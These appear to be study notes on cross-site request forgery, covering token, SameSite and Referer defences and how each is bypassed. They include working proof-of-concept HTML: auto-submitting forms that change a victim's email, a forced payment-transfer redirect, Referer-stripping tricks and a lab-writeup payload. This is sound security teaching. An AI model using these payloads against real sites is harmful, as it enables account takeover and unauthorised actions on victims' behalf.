Basics

Key Conditions

A relevant action

There is an action within the application that the attacker has a reason to induce, such as modifying permissions for other users or as changing the user’s own password.

Performing the action involves issuing one or more HTTP requests, and the application relies solely on session cookies to identify the user who has made the requests. There is no other mechanism in place for tracking sessions or validating user requests.

No unpredictable request parameters

The requests that perform the action do not contain any parameters whose values the attacker cannot determine or guess. For example, when causing a user to change their password, the function is not vulnerable if an attacker needs to know the value of the existing password.

Example

Consider the following HTTP request

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE

[email protected]

This meets the requirements of CSRF

  • The attacker is interested in changing the user’s email. They may, for example, trigger a password reset request afterwards and take full control of the account.
  • The endpoint uses only a session cookie to identify the user.
  • email is the only parameter, which the attacker can easily determine the value.

The attacker could create a web page containing the following HTML

<html>
    <body>
        <form action="https://vulnerable-website.com/email/change" method="POST">
            <input type="hidden" name="email" value="[email protected]" />
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>

If the victim visits the web page,

  1. The page will trigger an HTTP request to the target endpoint
  2. If the user is logged in to the target endpoint, their browser will automatically include the session cookie (assuming SameSite cookie is not being used) in the request
  3. The target endpoint will process the request as if it were performed by the user

The delivery of CSRF are essentially the same as for reflected XSS, which the attacker will place a malicious HTML onto a website they control, and then induce the victim to visit it.

Some simple CSRF exploits employ the GET method and can be fully self-contained with a single URL on the vulnerable web site. In this situation, the attacker may not need to employ an external site, and can directly feed victims a malicious URL on the vulnerable domain. For example, if the request can be made with the GET method, a self-contained attack would look like this:

<img src="https://vulnerable-website.com/email/[email protected]" />

Common Defences and Bypasses

CSRF Token

A CSRF token is a unique, secret, and unpredictable value generated by the server-side application and shared with the client. When issuing a request to perform a sensitive action, such as submitting a form, the client must include the correct CSRF token. Otherwise, the server will refuse to perform the requested action.

A common way to share CSRF tokens is to include them as a hidden field in the HTML form

<form name="change-email-form" action="/my-account/change-email" method="POST">
    <label>Email</label>
    <input required type="email" name="email" value="[email protected]">
    <input required type="hidden" name="csrf" value="50FaWgdOhi9M9wyna8taR1k3ODOR8d6u">
    <button class='button' type='submit'> Update email </button>
</form>

Submit the form results in the following request

POST /my-account/change-email HTTP/1.1
Host: normal-website.com
Content-Length: 70
Content-Type: application/x-www-form-urlencoded

csrf=50FaWgdOhi9M9wyna8taR1k3ODOR8d6u&[email protected]

If the generation and validation is implemented correctly, CSRF tokens help protect against CSRF attacks as the attacker has no way of constructing the correct value for the CSRF token.

Common Flaws in CSRF Token Validation

Validation depends on request method

If the server only validates CSRF tokens for POST requests, the attacker could bypass the validation by issuing a request with another request method.

test: change the request method to something else and see if the request succeeds

Validation depends on token being present

If the server validates CSRF tokens only if it is present, the attacker could bypass the validation by not including the token in the request.

test: remove the CSRF token and see if the request succeeds

CSRF token is not tied to the user session

Some applications do not validate that the token belongs to the same session as the user who is making the request. Instead, the application maintains a global pool of tokens that it has issued and accepts any token that appears in this pool. In this situation, the attacker can log in to the application using their own account, obtain a valid token, and then feed that token to the victim user in their CSRF attack.

test: check if their exists more than one account, then check whether the CSRF token of user B can be used for user A

A variant of the previous example. The token is tied to a cookie that is NOT the session cookie. This usually happens when the session management and CSRF protection mechanism are not integrated together.

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=pSJYSScWKpmC60LpFOAHKixuFuM4uXWF; csrfKey=rZHCnSzEp8dbI6atzagGoSYyqJqTz5dv

csrf=RhV7yQDO0xcq9gLEah2WVbmuFqyOq7tY&[email protected]

In this case, if the attacker can set a cookie in the victim’s browser, they can log in to their account, obtain a valid token with the corresponding cookie, set the cookie in the victim’s browser, and then feed the token to the victim user in their CSRF attack.

test: same as the previous example, but the CSRF token is now in pair

Some applications do not maintain any server-side record of tokens that have been issued, but instead duplicate each token within a cookie and a request parameter. When the subsequent request is validated, the application simply verifies that the token submitted in the request parameter matches the value submitted in the cookie.

POST /email/change HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
Cookie: session=1DQGdzYbOJQzLP7460tfyiv3do7MjyPw; csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa

csrf=R8ov2YBfTYmzFyjit8o2hKBuoIjXXVpa&[email protected]

In this situation, the attacker can again perform a CSRF attack if the web site contains any cookie setting functionality. The attacker doesn’t need to obtain a valid token of their own. They simply invent a token (perhaps in the required format, if that is being checked), leverage the cookie-setting behavior to place their cookie into the victim’s browser, and feed their token to the victim in their CSRF attack.

test: check whether the CSRF token included in the cookie is the same as the one sent to the sever

SameSite is a browser security mechanism that determines when a website’s cookies are included in requests originating from other websites. SameSite cookie restrictions provide partial protection against a variety of cross-site attacks, including CSRF, cross-site leaks, and some CORS exploits.

Let’s talk about the same-site (“first-party”) and cross-site (“third-party”) context.

Cookie access in a same-site (or “first party”) context occurs when a cookie’s domain matches the website domain in the user’s address bar. Same-site cookies are commonly used to keep people logged into individual websites, remember their preferences and support site analytics.

If the domain associated with a cookie matches an external service and not the website in the user’s address bar, this is considered a cross-site (or “third party”) context.

Same-site v.s. Same-origin

A same-origin request is always same-site. A same-site request may not be same-origin.

Request from Request to Same-site ? Same-origin ?
https://a.com https://a.com Yes Yes
https://www.a.com https://api.a.com Yes No: mismatched domain name
https://a.com https://a.com:8080 Yes No: mismatched port
https://a.com https://a.org No: mismatched eTLD No: mismatched domain name
https://a.com http://a.com No: mismatched scheme No: mismatched scheme

There are three common values for the SameSite attribute

  • Strict: The cookie is only accessible in the same-site context
  • Lax: The cookie is accessible in some cross-site context
  • None: The cookie is always accessible. Note that in Google Chrome, this attribute must be used with the Secure attribute

The following is the comparison between Lax and None (Source)

Type of Request Example None Lax
Link <a href="..." >
Form GET <form method="GET" action="...">
Form POST <form method="POST" action="...">  
iframe <iframe src="...">  
AJAX $.get()  
image <img src="...">  

Bypass

Bypassing SameSite Lax restrictions using GET requests

Some endpoints don’t care about whether they recieve a GET or POST request, which they should pay attention to. If Lax restriction is used, the attacker may still be able to perform a CSRF attack by sending a GET request from the victim’s browser.

The following is one of the easiest approaches to launch such an attack

<script>
    document.location = 'https://vulnerable-website.com/account/transfer-payment?recipient=hacker&amount=1000000';
</script>

test: check if the request succeeds with request method changed

Bypassing SameSite restrictions using on-site gadgets

If a cookie is set with the SameSite=Strict attribute, browsers won’t include it in any cross-site requests. You may be able to get around this limitation if you can find a gadget that results in a secondary request within the same site.

One possible gadget is a client-side redirect that dynamically constructs the redirection target using attacker-controllable input like URL parameters. If you can manipulate this gadget to elicit a malicious secondary request, this can enable you to bypass any SameSite cookie restrictions completely.

test: try to find on-site gadgets that modify window.location

Bypassing SameSite restrictions via vulnerable sibling domains

A request can still be same-site even if it’s issued cross-origin.

test: find some sibling domains that you can control

Bypassing SameSite Lax restrictions with newly issued cookies

If a website doesn’t include a SameSite attribute when setting a cookie, Chrome automatically applies Lax restrictions by default. However, to avoid breaking single sign-on (SSO) mechanisms, it doesn’t actually enforce these restrictions for the first 120 seconds on top-level POST requests. As a result, there is a two-minute window in which users may be susceptible to cross-site attacks.

If you can find a gadget on the site that enables you to force the victim to be issued a new session cookie, you can preemptively refresh their cookie before following up with the main attack.

For example, completing an OAuth-based login flow may result in a new session each time as the OAuth service doesn’t necessarily know whether the user is still logged in to the target site. To trigger the cookie refresh without the victim having to manually log in again, you need to use a top-level navigation, which ensures that the cookies associated with their current OAuth session are included. Alternatively, you can trigger the cookie refresh from a new tab so the browser doesn’t leave the page before you’re able to deliver the final attack.

Referer Header

The HTTP Referer header (which is inadvertently misspelled in the HTTP specification) is an optional request header that contains the URL of the web page that linked to the resource that is being requested. It is generally added automatically by browsers when a user triggers an HTTP request, including by clicking a link or submitting a form. Some applications make use of the HTTP Referer header to attempt to defend against CSRF attacks, normally by verifying that the request originated from the application’s own domain. This approach is generally less effective and is often subject to bypasses.

Bypass

Validation of Referer depends on header being present

Some applications validate the Referer header when it is present in requests but skip the validation if the header is omitted.

In this situation, an attacker can craft their CSRF exploit in a way that causes the victim user’s browser to drop the Referer header in the resulting request. The easiest is using a META tag within the HTML page that hosts the CSRF attack:

<meta name="referrer" content="never">

test: try removing the referer header

Validation of Referer can be circumvented

Some applications validate the Referer header incorrectly.

For example, if the application validates that the domain in the Referer starts with the expected value, then the attacker can place this as a subdomain of their own domain:

http://vulnerable-website.com.attacker-website.com/csrf-attack

Likewise, if the application simply validates that the Referer contains its own domain name, then the attacker can place the required value elsewhere in the URL:

http://attacker-website.com/csrf-attack?vulnerable-website.com

Note: Many browsers now strip the query string from the Referer header by default. You can override this behavior by making sure that the response containing your exploit has the Referrer-Policy: unsafe-url header set. This ensures that the full URL will be sent, including the query string.

Notes for the LAB writeup
<html>
  <body>
    <script>
      history.pushState("", "", "/?0af100e30325fe5380163f020068009f.web-security-academy.net")
    </script>
    <form action="https://0af100e30325fe5380163f020068009f.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="[email protected]">
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Calling pushState() is similar to setting window.location = "#foo", in that both will also create and activate another history entry associated with the current document.

But pushState() has a few advantages:

  • The new URL can be any URL in the same origin as the current URL. In contrast, setting window.location keeps you at the same document only if you modify only the hash.
  • Changing the page’s URL is optional. In contrast, setting window.location = "#foo"; only creates a new history entry if the current hash isn’t #foo.
  • You can associate arbitrary data with your new history entry. With the hash-based approach, you need to encode all of the relevant data into a short string.

This will set the location to https://exploit-0a96001b0372fe7580b03efb01e400f6.exploit-server.net/?0af100e30325fe5380163f020068009f.web-security-academy.net

Reference